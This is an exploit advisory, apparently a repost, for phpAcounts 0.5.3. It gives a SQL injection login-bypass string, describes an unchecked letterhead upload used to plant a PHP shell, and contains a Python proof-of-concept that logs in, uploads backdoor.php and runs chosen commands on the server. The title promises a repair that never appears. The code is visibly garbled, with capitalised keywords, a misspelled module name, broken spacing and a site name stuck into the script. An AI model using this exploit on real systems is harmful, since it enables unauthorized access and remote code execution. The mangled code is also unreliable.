PhpAcounts v.0.5.3 SQL injection and repair

Title: phpAcounts v.0.5.3 SQL Injection
 
Author: loneferret
 
Affected Version: 0.5.3
 
Developer address: http://phpaccounts.com/
 
Test Platform: Ubuntu Server 11.10

# Old app, still fun.
 

 
Auth. Bypass:
 
Http://www.2cto.com/phpaccounts/index. php
 
Username: x' or '1' = '1 '#
 
Password: <whatever>
 

 
Upload php shell in preferences
 
Letterhead image upload does not sanitize file extensions.
 
Http: // server/index. php? Page = tasks & action = preferences
 

 
Acess shell:
 
Where '1' is the user's ID.
 
Http: // server/phpaccounts/users/1/<filename>
 

---- Python PoC ---------
 

 
#! /Usr/bin/python
 

 
Import re, mechanic
 
Import urllib, sys
 

 
Print "\ n [*] phpAcounts v.0.5.3 Remote Code Execution"
 
Print "[*] Vulnerability discovered by loneferret"
 

 
Print "[*] Offensive Security-http://www.offensive-security.com \ n"
 
If (len (sys. argv )! = 3 ):
 
Print "[*] Usage: poc. py <RHOST> <RCMD>"
 
Exit (0)
 

 
Rhost = sys. argv [1]
 
Rcmd = sys. argv [2]
 

 

 
Print "[*] Bypassing Login ."
 
Try:
 
Br = mechanic. Browser ()
 
Br. open ("http: // % s/phpaccounts/index. php? Frameset = true "% rhost)
 
Assert br. viewing_html ()
 
Br. select_form (name = "loginForm ")
 
Br. select_form (nr = 0)
 
Br. form ['login _ username'] = "x 'or '1 '#"
 
Br. form ['login _ password'] = "pwnd"
 
Print "[*] Triggering SQLi .."
 
Br. submit ()
 
Except t:
 
Print "[*] Oups... Something happened"
 
Exit (0)
 

 
Print "[*] Uploading Shell ..."
 
Try:
 
Br. open ("http: // % s/phpaccounts/index. php? Page = tasks & action = preferences "% rhost)
 
Assert br. viewing_html ()
 
Br. select_form (nr = 0)
 
Br. form ["Preferences [LETTER_HEADER]"] = 'test'
 
Br. form. add_file (open ('backdoor. php'), "text/plain", "backdoor. php", name = "letterhead_image ")
 
Br. submit (nr = 2)
 
Except t:
 
Print "[*] Upload didn't work"
 
Exit (0)
 

 
Print "[*] Command Executed \ n"
 
Try: www.2cto.com
 
Shell = urllib. urlopen ("http: // % s/phpaccounts/users/1/backdoor. php? Cmd = % s "% (rhost, rcmd ))
 
Print shell. read ()
 
Except t:
 
Print "[*] Oups ."
 
Exit (0)